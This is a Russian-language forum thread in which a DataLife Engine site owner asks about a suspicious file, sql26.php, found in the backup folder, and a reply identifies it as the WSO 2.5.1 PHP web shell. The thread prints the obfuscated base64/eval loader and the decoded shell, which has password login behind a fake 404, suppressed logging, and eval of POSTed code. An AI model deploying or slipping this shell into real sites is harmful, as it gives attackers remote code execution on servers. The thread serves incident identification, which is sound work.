Что за файл в backup ?

вопрос

Сейчас при обновлении dle до 10,4 в папке backup нашёл странный файл

Имя файла sql26.php

содержимое


<?php
$vELN9IS = Array('1'=>'I', '0'=>'N', '3'=>'d', '2'=>'S', '5'=>'X', '4'=>'3', '7'=>'u', '6'=>'t', '9'=>'n', '8'=>'m', 'A'=>'C', 'C'=>'P', 'B'=>'8', 'E'=>'6', 'D'=>'Q', 'G'=>'k', 'F'=>'A', 'I'=>'v', 'H'=>'H', 'K'=>'e', 'J'=>'J', 'M'=>'z', 'L'=>'h', 'O'=>'7', 'N'=>'4', 'Q'=>'O', 'P'=>'0', 'S'=>'c', 'R'=>'2', 'U'=>'s', 'T'=>'g', 'W'=>'B', 'V'=>'K', 'Y'=>'L', 'X'=>'9', 'Z'=>'M', 'a'=>'T', 'c'=>'x', 'b'=>'U', 'e'=>'W', 'd'=>'l', 'g'=>'V', 'f'=>'1', 'i'=>'Z', 'h'=>'p', 'k'=>'q', 'j'=>'j', 'm'=>'a', 'l'=>'b', 'o'=>'R', 'n'=>'r', 'q'=>'o', 'p'=>'G', 's'=>'Y', 'r'=>'y', 'u'=>'F', 't'=>'f', 'w'=>'i', 'v'=>'D', 'y'=>'5', 'x'=>'E', 'z'=>'w');
function vVARD85($vO9FTVV, $vI1S2KH){$vJNUPV9 = ''; for($i=0; $i < strlen($vO9FTVV); $i++){$vJNUPV9 .= isset($vI1S2KH[$vO9FTVV[$i]]) ? $vI1S2KH[$vO9FTVV[$i]] : $vO9FTVV[$i];}
return base64_decode($vJNUPV9);}
$vKL3XLE = 'Jpuf3pLtSpuMSrFX1AJj0pJd0pZ40asRijZPsaid0aT4ZaxrZjbzZ8x4iegdZw1OATqGsRXUl41TC2Fw1Ro80'.
'21OAwoGieiL3ecP5Ruj3pdIlwFX1A3pmecdSPfLlwSOAwoGieiL3ecP54gMigXLm8u'.
'N1vPT3HJfiaUVJpodi8uflHotsRLLS90d3AFX1A35meyGl43MYaxr0ax9QzqVDpd7mgXMi5DqJRgrS8'.
'Xr5RcIirSUadgZaAGOAGWhl8dtSRgPVA3UlR3ti5Jrl4JMJrzzVaUVDpd7m'.
'gXMi5DqJRfLKuXdKpgj35ohlRyt3pd6i2SUZAGOAGWMi5ot3pd6igXUmefh3ATzVaUVD'.
'H0d3uX6se3hsfXc3eXPi50tS9g73pd6i2TzVaUVDpodi8d7i2T9gf0C5fiubd0JaPN9YAF9ZwNfYjx9VaUVA8d8V'.
'p3d3uX6se3hsfXc3eXPi50ti4WjVAGh1HUV1AFT1pifl80PmeX71u3aa4'.
'0PS8dzSRcLSRLdSrTGs5Jrs5Gh1HUV1AFT1AFT1AWri5ofS8NTm50ts5Jrs5GqJpurS8uyV2F/1purS8uy5RfLSA'.
'T9gf0CS4orm5WMlpuMmpgMJrzTJpurS8uyV2FE1H0PS8dzSRcLSRLdSrTG'.
's5Jrs5GhQzqT1AFTtDqT1AFTJuXDaf0b1vPTgf0CS4orm5WMlp'.
'uMmpgMVAotbxXagAGOAwFT1AFG5P0CaP6Jo2FX1u3aa40PS8dzSRcLSRLdSrTG5P0CaP6Jo2GOA9PVA8i'.
'fl80PmeX71H3MlPcIiRd7VAGTKzqT1AFTmpgLipgrVA31guoDYMx7ZAFPZvDTa8XP1xiI'.
'3eyGJrGOAwFT1AWGmebq1jDz0A1hQzhXATh83eyj3pdIlwW5bPXMi'.
'5ojlRXnmebqJpUU1AoRV2WOAwFT1AFG5P0CaP6JogUGmfPTC2FG3jUV1AFT1H0d3p0IlR6hi2TGmrzTJHshQzhXAThhiwTL'.
'iefz3HGqJpuf3pLtSpuMSrGh1HUV1AFT1pd8VpdMSRgPVAotbxXaguU9SpuMSr33V2F8'.
'JwFqleDfVAotbxXaguU9SpuMSr33V2FXC2FGs5gPmuXzs50MV2GV1AFT1AFT1AW5'.
'bPXMi5ojlRXnmebqleDfVAotbPg2gGg2er31guoD5PLCbfD952GU1AoL35oq54WLS4ZhQzqV1AFT1pd81ATLm50Mi5DqJuXva'.
'PXY2bglleDfVAotbPg2gGg2er31guoD5PLCbfD952d3V2WBtAFqJ'.
'uXvaPXY2bglleDfVAotbPg2gGg2er31guoD5PLCbfD952d31AxX1AoL35oq54WLS4ZhVDqT'.
'1AFT1AFT1H3MlPcIiRd7VAGOA9PVA8ifl80PmeX71puj3pdIldJvVAGTKzqT1AFT'.
'mesq1bFG5fWCbfolJ4FcJfPh1HUV1AFT1AFT1AFGs2FX1purS8uyVFqT1AFT1AFT1AFT1AFw3eyLlebw1vP+1HWqSuXfl8u6'.
'i2ThYFqT1AFT1AFT1AFT1AFwSpLz54idS90hlRNw1vP+1HWqSHidS90hlRNqV2zV1AFT1AFT1AFT1AFT193MlfXRi5JMmeX71w'.
'FXCwW5bPXtgGg2bPdCawzV1AFT1AFT1AFT1AFT190Li8g6lRod1wFXCwWFm'.
'eyh5R3d3AT9SRu8igX6lRodJrGV1AFT1AFT1AFhQzqT1AFT1AFT1pgjmpBTSR'.
'grmeuUm5hdVAoLVaUV1AFT1HPTiecMi2WOAwFT1AFT1AFTi5iLlATG5fWCbfolJ4FcJfPhQzqT1AFTtDhXA8d8VAWdl5WPK2TG5f'.
'WCbfolJRx952GTVDqT1AFTmesqm50Mi5DqJpodi8uflHotse0PmeX7V2F8JwW83eyj3pdIldXdKpdM3HZqJRuj3pdIlwSTYwFGi'.
'pg8s5gU3uXLs4ohlRNhVDqT1AFT1AFT1AotbxXaguU9s2331vPTJpodi8uflHotse0Pm'.
'eX7QzqT1AFTiecMiDqT1AFT1AFT1AotbxXaguU9s2331vPTJf0dsPd'.
'7i8B9QzhhiwTT1eg6SHoyVAotbxXaguU9s233V2F8JwW83eyj3pdIldXdKpdM3HZqJRuj3pdIlwSTYwFG5fWCbfolJR'.
'x952GTVDqT1AFTsRuUluXfSRgr5Rifl8ZqJRuj3pdIlwSTYwFG5fWCbfolJ'.
'Rx952GOA8gNm5DO';
eval(vVARD85($vKL3XLE, $vELN9IS));?>

Что это за файл и что он делает?? я так понять и не смог у него права от веб сервера

Ответил: Attyla

eval($_POST['p1']);

- явно что-то нехорошее.

Update:
Это Shell

<?php
$auth_pass        = "c4be4c7566f34a6e5871122502a7eee2";
$color            = "#df5";
$default_action   = 'FilesMan';
$default_use_ajax = true;
$default_charset  = 'Windows-1251';
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5.1');
if (get_magic_quotes_gpc()) {
    function WSOstripslashes($array)
    {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST   = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin()
{
    header('HTTP/1.0 404 Not Found');
    die("404");
}
function WSOsetcookie($k, $v)
{
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}
if (!empty($auth_pass)) {
    if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}
function actionRC()
{
    if (!@$_POST['p1']) {
        $a = array(
            "uname" => php_uname(),
            "php_version" => phpversion(),
            "wso_version" => WSO_VERSION,
            "safemode" => @ini_get('safe_mode')
        );
        echo serialize($a);
    } else {
        eval($_POST['p1']);
    }
}
if (empty($_POST['a']))
    if (isset($default_action) && function_exists('action' . $default_action))
        $_POST['a'] = $default_action;
    else
        $_POST['a'] = 'SecInfo';
if (!empty($_POST['a']) && function_exists('action' . $_POST['a']))
    call_user_func('action' . $_POST['a']);
exit;
?>